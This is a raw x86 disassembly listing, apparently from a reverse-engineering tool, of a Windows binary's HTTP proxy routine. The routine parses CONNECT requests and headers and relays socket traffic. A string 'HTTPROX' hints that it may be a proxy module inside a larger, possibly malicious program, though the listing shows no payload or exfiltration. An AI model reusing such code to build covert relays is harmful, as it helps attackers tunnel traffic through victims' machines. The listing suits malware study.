		mov	byte ptr [esp+54A0h], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429765
		push	offset asc_444600 ; " "
		lea	ecx, [esp+21Ch]
		push	1
		push	ecx
		lea	ecx, [esp+3Ch]
		mov	byte ptr [esp+1Fh], 1
		call	sub_4016B8
		lea	edx, [esp+0B8h]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+54A4h], 4
		call	sub_4017EE
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+218h]
		test	al, al
		setz	bl
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42A5EF
		push	offset aHttp	; "http"
		lea	ecx, [esp+0BCh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42A5EF
		jmp	loc_42995A
; ---------------------------------------------------------------------------


loc_429765:				; CODE XREF: ___:004296E7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+24Ch]
		push	0
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset aConnect_0 ; "CONNECT"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 5
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+54A0h], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	loc_42995A
		push	offset aConnect	; "connect"
		lea	ecx, [esp+0BCh]
		mov	byte ptr [esp+17h], 0
		call	sub_4015E1
		push	offset byte_448F40
		lea	ecx, [esp+114h]
		call	sub_4015E1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch]
		push	1
		push	ecx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C7C ; ":"
		lea	edx, [esp+174h]
		push	0
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 6
		call	sub_4016B8
		push	eax
		lea	ecx, [esp+0D1h]
		mov	byte ptr [esp+54A4h], 7
		call	sub_401FDC
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+54A0h], 6
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+27Ch]
		push	1
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C7C ; ":"
		lea	ecx, [esp+1A4h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 8
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 9
		call	sub_4017EE
		test	eax, eax
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+54A0h], 8
		setz	bl
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42A5EF
		push	offset asc_444600 ; " "
		lea	edx, [esp+264h]
		push	1
		push	edx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C7C ; ":"
		lea	ecx, [esp+1D4h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 0Ah
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 0Bh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1D0h]
		mov	[esp+10Ch], eax
		mov	byte ptr [esp+54A0h], 0Ah
		call	sub_401226
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		mov	eax, [esp+10Ch]
		test	eax, eax
		jnz	short loc_42995A
		mov	dword ptr [esp+10Ch], 50h


loc_42995A:				; CODE XREF: ___:00429760j
					; ___:004297ACj ...
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	0
		push	edx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset byte_448F40
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+54A4h], 0Ch
		call	sub_4012EE
		test	eax, eax
		jz	loc_42A5DE
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h]
		push	2
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset byte_448F40
		lea	ecx, [esp+64h]
		mov	byte ptr [esp+54A4h], 0Dh
		call	sub_4012EE
		test	eax, eax
		jz	loc_42A5CD
		lea	ecx, [esp+0CDh]
		push	ecx
		lea	ecx, [esp+8Ch]
		call	sub_4014D3
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+498h]
		or	ebx, 0FFFFFFFFh
		rep stosd
		mov	edi, offset aHttprox ; "HTTPROX"
		mov	ecx, ebx
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+4498h]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	byte ptr [esp+54A0h], 0Eh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [esp+4498h]
		and	ecx, 3
		rep movsb
		mov	esi, offset asc_4471FC ; "\r\n"


loc_429A21:				; CODE XREF: ___:00429A3Fj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429A45
		test	cl, cl
		jz	short loc_429A41
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429A45
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429A21


loc_429A41:				; CODE XREF: ___:00429A2Bj
		xor	eax, eax
		jmp	short loc_429A49
; ---------------------------------------------------------------------------


loc_429A45:				; CODE XREF: ___:00429A27j
					; ___:00429A35j
		sbb	eax, eax
		sbb	eax, ebx


loc_429A49:				; CODE XREF: ___:00429A43j
		test	eax, eax
		jz	loc_429B23
		mov	edi, dword_511AD8


loc_429A57:				; CODE XREF: ___:00429B1Dj
		mov	esi, offset byte_448F40
		lea	eax, [esp+4498h]


loc_429A63:				; CODE XREF: ___:00429A81j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429A87
		test	cl, cl
		jz	short loc_429A83
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429A87
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429A63


loc_429A83:				; CODE XREF: ___:00429A6Dj
		xor	eax, eax
		jmp	short loc_429A8B
; ---------------------------------------------------------------------------


loc_429A87:				; CODE XREF: ___:00429A69j
					; ___:00429A77j
		sbb	eax, eax
		sbb	eax, ebx


loc_429A8B:				; CODE XREF: ___:00429A85j
		test	eax, eax
		jz	loc_429B23
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+449Ch]
		push	1000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A629
		lea	edx, [esp+4498h]
		push	4000h
		lea	eax, [esp+49Ch]
		push	edx
		push	eax
		call	edi	; strncat
		push	4000h
		lea	ecx, [esp+4A8h]
		push	offset asc_4471FC ; "\r\n"
		push	ecx
		call	edi	; strncat
		add	esp, 18h
		mov	esi, offset asc_4471FC ; "\r\n"
		lea	eax, [esp+4498h]


loc_429AF3:				; CODE XREF: ___:00429B11j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429B17
		test	cl, cl
		jz	short loc_429B13
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429B17
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429AF3


loc_429B13:				; CODE XREF: ___:00429AFDj
		xor	eax, eax
		jmp	short loc_429B1B
; ---------------------------------------------------------------------------


loc_429B17:				; CODE XREF: ___:00429AF9j
					; ___:00429B07j
		sbb	eax, eax
		sbb	eax, ebx


loc_429B1B:				; CODE XREF: ___:00429B15j
		test	eax, eax
		jnz	loc_429A57


loc_429B23:				; CODE XREF: ___:00429A4Bj
					; ___:00429A8Dj
		mov	esi, dword_511B04
		lea	eax, [esp+498h]
		push	offset aProxyConnectio ; "Proxy-Connection:"
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_429B77
		push	offset asc_444C7C ; ":"
		push	eax
		call	esi	; strstr
		add	esp, 8
		inc	eax
		jz	short loc_429B77
		cmp	byte ptr [eax],	20h
		jnz	short loc_429B5B


loc_429B52:				; CODE XREF: ___:00429B59j
		mov	cl, [eax+1]
		inc	eax
		cmp	cl, 20h
		jz	short loc_429B52


loc_429B5B:				; CODE XREF: ___:00429B50j
		push	offset aKeepAlive ; "Keep-Alive"
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		test	eax, eax
		jz	short loc_429B77
		mov	byte ptr [ebp+0BAh], 1
		jmp	short loc_429B7E
; ---------------------------------------------------------------------------


loc_429B77:				; CODE XREF: ___:00429B3Dj
					; ___:00429B4Bj ...
		mov	byte ptr [ebp+0BAh], 0


loc_429B7E:				; CODE XREF: ___:00429B75j
		cmp	[ebp+0BFh], ebx
		jnz	loc_429C16
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, ebx
		mov	[ebp+0BFh], eax
		jz	loc_42A6FD
		mov	edx, [esp+10Ch]
		xor	ecx, ecx
		mov	[esp+78h], ecx
		push	edx
		mov	[esp+80h], ecx
		mov	word ptr [esp+7Ch], 2
		mov	[esp+84h], ecx
		mov	[esp+88h], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+0CDh]
		mov	[esp+7Ah], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		cmp	eax, ebx
		mov	[esp+7Ch], eax
		jz	loc_42A63B
		mov	ecx, [ebp+0BFh]
		lea	eax, [esp+78h]
		push	10h
		push	eax
		push	ecx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_42A698


loc_429C16:				; CODE XREF: ___:00429B84j
		mov	al, [esp+13h]
		test	al, al
		jz	loc_42A2BE
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_429C61
		lea	edx, [esp+498h]
		lea	ecx, [esp+60h]
		push	edx
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		lea	eax, [esp+24h]
		push	offset aSSSConnectionK ; "%s %s	%s\r\nConnection: Keep-Alive\r\n%s"
		push	eax
		jmp	short loc_429C94
; ---------------------------------------------------------------------------


loc_429C61:				; CODE XREF: ___:00429C2Aj
		lea	ecx, [esp+498h]
		push	ecx
		lea	ecx, [esp+64h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		lea	edx, [esp+24h]
		push	offset aSSSConnectionC ; "%s %s	%s\r\nConnection: close\r\n%s"
		push	edx


loc_429C94:				; CODE XREF: ___:00429C5Fj
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		push	eax
		mov	eax, [ebp+0BFh]
		push	eax
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_42A6E2
		cmp	eax, ebx
		jz	loc_42A6E2
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+49Ch]
		push	4000h
		push	ecx
		push	edx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A70F
		mov	edi, offset asc_4471FC ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+49Ch]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		xor	ebx, ebx
		mov	esi, offset asc_4471FC ; "\r\n"
		mov	[esp+2Ch], ebx
		lea	eax, [esp+498h]


loc_429D5E:				; CODE XREF: ___:00429D7Cj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429D82
		test	cl, cl
		jz	short loc_429D7E
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429D82
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429D5E


loc_429D7E:				; CODE XREF: ___:00429D68j
		xor	eax, eax
		jmp	short loc_429D87
; ---------------------------------------------------------------------------


loc_429D82:				; CODE XREF: ___:00429D64j
					; ___:00429D72j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429D87:				; CODE XREF: ___:00429D80j
		test	eax, eax
		jz	loc_42A109


loc_429D8F:				; CODE XREF: ___:0042A0F8j
		mov	esi, offset byte_448F40
		lea	eax, [esp+498h]


loc_429D9B:				; CODE XREF: ___:00429DBDj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429DC3
		test	cl, cl
		jz	short loc_429DBF
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429DC3
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429D9B


loc_429DBF:				; CODE XREF: ___:00429DA7j
		xor	eax, eax
		jmp	short loc_429DC8
; ---------------------------------------------------------------------------


loc_429DC3:				; CODE XREF: ___:00429DA3j
					; ___:00429DB3j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429DC8:				; CODE XREF: ___:00429DC1j
		test	eax, eax
		jz	loc_42A105
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+49Ch]
		push	4000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A100
		lea	edx, [esp+498h]
		lea	ecx, [esp+0A0h]
		push	edx
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	eax, [esp+204h]
		push	0
		push	eax
		lea	ecx, [esp+0ACh]
		mov	byte ptr [esp+54ACh], 0Fh
		call	sub_4016B8
		push	offset aContentLength ;	"Content-Length:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 10h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429EAA
		push	offset asc_444600 ; " "
		lea	ecx, [esp+144h]
		push	1
		push	ecx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 11h
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+140h]
		mov	[esp+2Ch], eax
		mov	byte ptr [esp+54A0h], 0Fh
		call	sub_401226


loc_429EAA:				; CODE XREF: ___:00429E5Cj
		push	offset asc_444600 ; " "
		lea	edx, [esp+15Ch]
		push	0
		push	edx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aTransferEncodi ; "Transfer-Encoding:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 12h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429F39
		push	offset asc_444600 ; " "
		lea	eax, [esp+18Ch]
		push	1
		push	eax
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aChunked	; "chunked"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 13h
		call	sub_40150A
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+54A0h], 0Fh
		call	sub_401226


loc_429F39:				; CODE XREF: ___:00429EF4j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+1BCh]
		push	0
		push	ecx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aConnection ; "Connection:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 14h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429FD4
		push	offset asc_444600 ; " "
		lea	edx, [esp+1ECh]
		push	1
		push	edx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aKeepAlive ; "Keep-Alive"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 15h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+1E8h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		setnz	byte ptr [esp+11h]


loc_429FD4:				; CODE XREF: ___:00429F83j
		mov	esi, offset asc_4471FC ; "\r\n"
		lea	eax, [esp+498h]


loc_429FE0:				; CODE XREF: ___:0042A002j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A008
		test	cl, cl
		jz	short loc_42A004
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A008
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429FE0


loc_42A004:				; CODE XREF: ___:00429FECj
		xor	eax, eax
		jmp	short loc_42A00D
; ---------------------------------------------------------------------------


loc_42A008:				; CODE XREF: ___:00429FE8j
					; ___:00429FF8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A00D:				; CODE XREF: ___:0042A006j
		test	eax, eax
		jz	loc_42A0A9
		mov	esi, offset byte_448F40
		lea	eax, [esp+498h]


loc_42A021:				; CODE XREF: ___:0042A043j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A049
		test	cl, cl
		jz	short loc_42A045
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A049
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42A021


loc_42A045:				; CODE XREF: ___:0042A02Dj
		xor	eax, eax
		jmp	short loc_42A04E
; ---------------------------------------------------------------------------


loc_42A049:				; CODE XREF: ___:0042A029j
					; ___:0042A039j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A04E:				; CODE XREF: ___:0042A047j
		test	eax, eax
		jz	short loc_42A0A9
		mov	edi, offset asc_4471FC ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+49Ch]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		call	near ptr 71AB428Ah
		nop


loc_42A0A9:				; CODE XREF: ___:0042A00Fj
					; ___:0042A050j
		lea	ecx, [esp+0A0h]
		mov	byte ptr [esp+54A0h], 0Eh
		call	sub_401226
		mov	esi, offset asc_4471FC ; "\r\n"
		lea	eax, [esp+498h]


loc_42A0C9:				; CODE XREF: ___:0042A0EBj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A0F1
		test	cl, cl
		jz	short loc_42A0ED
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A0F1
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42A0C9


loc_42A0ED:				; CODE XREF: ___:0042A0D5j
		xor	eax, eax
		jmp	short loc_42A0F6
; ---------------------------------------------------------------------------


loc_42A0F1:				; CODE XREF: ___:0042A0D1j
					; ___:0042A0E1j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A0F6:				; CODE XREF: ___:0042A0EFj
		test	eax, eax
		jnz	loc_429D8F
		jmp	short loc_42A105
; ---------------------------------------------------------------------------


loc_42A100:				; CODE XREF: ___:00429DF0j
		mov	byte ptr [esp+12h], 1


loc_42A105:				; CODE XREF: ___:00429DCAj
					; ___:0042A0FEj
		mov	ebx, [esp+2Ch]


loc_42A109:				; CODE XREF: ___:00429D89j
		mov	al, [esp+11h]
		push	0
		test	al, al
		jz	short loc_42A131
		mov	edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [ebp+0BBh]
		not	ecx
		dec	ecx
		push	ecx
		push	offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		push	eax
		jmp	short loc_42A14D
; ---------------------------------------------------------------------------


loc_42A131:				; CODE XREF: ___:0042A111j
		mov	edi, offset aConnectionClos ; "Connection: Close\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	offset aConnectionClos ; "Connection: Close\r\n"
		push	ecx


loc_42A14D:				; CODE XREF: ___:0042A12Fj
		nop
		call	near ptr 71AB428Ah
		mov	edi, offset asc_4471FC ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	edx, [ebp+0BBh]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		lea	ecx, [esp+4A0h]
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	ebx, ebx
		jz	loc_42A27C
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_42A204


loc_42A1B3:				; CODE XREF: ___:0042A202j
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, 4000h
		jbe	short loc_42A204
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+49Ch]
		push	4000h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_42A204
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42A204
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+49Ch]
		push	esi
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		cmp	edi, ebx
		jl	short loc_42A1B3


loc_42A204:				; CODE XREF: ___:0042A1B1j
					; ___:0042A1BCj ...
		mov	eax, ebx
		sub	eax, edi
		jz	short loc_42A24E


loc_42A20A:				; CODE XREF: ___:0042A24Cj
		push	0
		push	eax
		mov	eax, [ebp+0BFh]
		lea	edx, [esp+4A0h]
		push	edx
		push	eax
		call	near ptr 71AB615Ah
		nop
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_42A24E
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42A24E
		mov	edx, [ebp+0BBh]
		push	0
		lea	ecx, [esp+49Ch]
		push	esi
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		add	edi, esi
		mov	eax, ebx
		sub	eax, edi
		jnz	short loc_42A20A


loc_42A24E:				; CODE XREF: ___:0042A208j
					; ___:0042A227j ...
		mov	al, [ebp+0BAh]
		test	al, al
		jnz	loc_42A4DF
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		or	esi, 0FFFFFFFFh
		mov	byte ptr [esp+12h], 1
		mov	[ebp+0BBh], esi
		jmp	loc_42A4E2
; ---------------------------------------------------------------------------


loc_42A27C:				; CODE XREF: ___:0042A1A7j
		mov	esi, dword_511CA4


loc_42A282:				; CODE XREF: ___:0042A2BCj
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+49Ch]
		push	4000h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jl	short loc_42A24E
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A24E
		push	0
		push	eax
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+4A0h]
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		jmp	short loc_42A282
; ---------------------------------------------------------------------------


loc_42A2BE:				; CODE XREF: ___:00429C1Cj
		lea	ecx, [esp+14h]
		push	offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_42A782
		cmp	eax, ebx
		jz	loc_42A782
		mov	ebx, dword_511CA4
		mov	eax, [ebp+0BBh]
		mov	edx, [ebp+0BFh]
		mov	[esp+294h], eax
		mov	dword ptr [esp+290h], 1
		xor	eax, eax
		lea	ecx, [esp+294h]


loc_42A330:				; CODE XREF: ___:0042A33Bj
		cmp	[ecx], edx
		jz	short loc_42A33D
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A330


loc_42A33D:				; CODE XREF: ___:0042A332j
		cmp	eax, 1
		jnz	short loc_42A354
		mov	[esp+298h], edx
		mov	dword ptr [esp+290h], 2


loc_42A354:				; CODE XREF: ___:0042A340j
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+498h]
		push	eax
		rep stosd
		push	eax
		lea	ecx, [esp+298h]
		push	eax
		push	ecx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+290h]
		push	edx
		push	eax
		call	sub_438256
; ---------------------------------------------------------------------------
		dw 0C085h
		dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
		dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
		dd 0A024848Dh, 50000004h, 0C3E89051h, 8371689Eh, 840FFFF8h
		dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
		dd 0DE72h, 4274C085h, 0BF958Bh,	6A0000h, 9C248C8Dh, 68000004h
		dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
		dd 6A000000h, 848D5000h, 4A024h, 90515000h, 689E69E8h
		dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 5118D8h, 0D7FF056Ah
		dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
		dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 0F07EE890h, 333D7168h
		dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
		dd 1CA03D8Bh, 6A0051h, 9C248C8Dh, 56000004h, 0D7FF5251h
		dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
		dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 0F02AE890h, 333D7168h
		dd 75000027h, 90016A0Dh, 415B3FE8h, 0FE43E902h,	858BFFFFh
		dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_42A4DF:				; CODE XREF: ___:0042A256j
		or	esi, 0FFFFFFFFh


loc_42A4E2:				; CODE XREF: ___:0042A277j
		mov	al, [esp+11h]
		test	al, al
		jnz	short loc_42A502
		mov	edx, [ebp+0BFh]
		push	edx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+12h], 1


loc_42A502:				; CODE XREF: ___:0042A4E8j
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		or	esi, 0FFFFFFFFh


loc_42A570:				; CODE XREF: ___:0042969Bj
		mov	al, [esp+12h]
		test	al, al
		jz	loc_4295E8


loc_42A57C:				; CODE XREF: ___:0042A624j
					; ___:0042A77Dj
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_42A599
		mov	eax, [ebp+0BBh]
		push	eax
		call	near ptr 71AB9639h
		nop
		mov	[ebp+0BBh], esi


loc_42A599:				; CODE XREF: ___:0042A584j
		mov	al, [esp+11h]
		test	al, al
		jz	short loc_42A5B4
		mov	ecx, [ebp+0BFh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi


loc_42A5B4:				; CODE XREF: ___:0042A59Fj
					; ___:0042A805j
		mov	ecx, [esp+5498h]
		pop	edi
		pop	esi
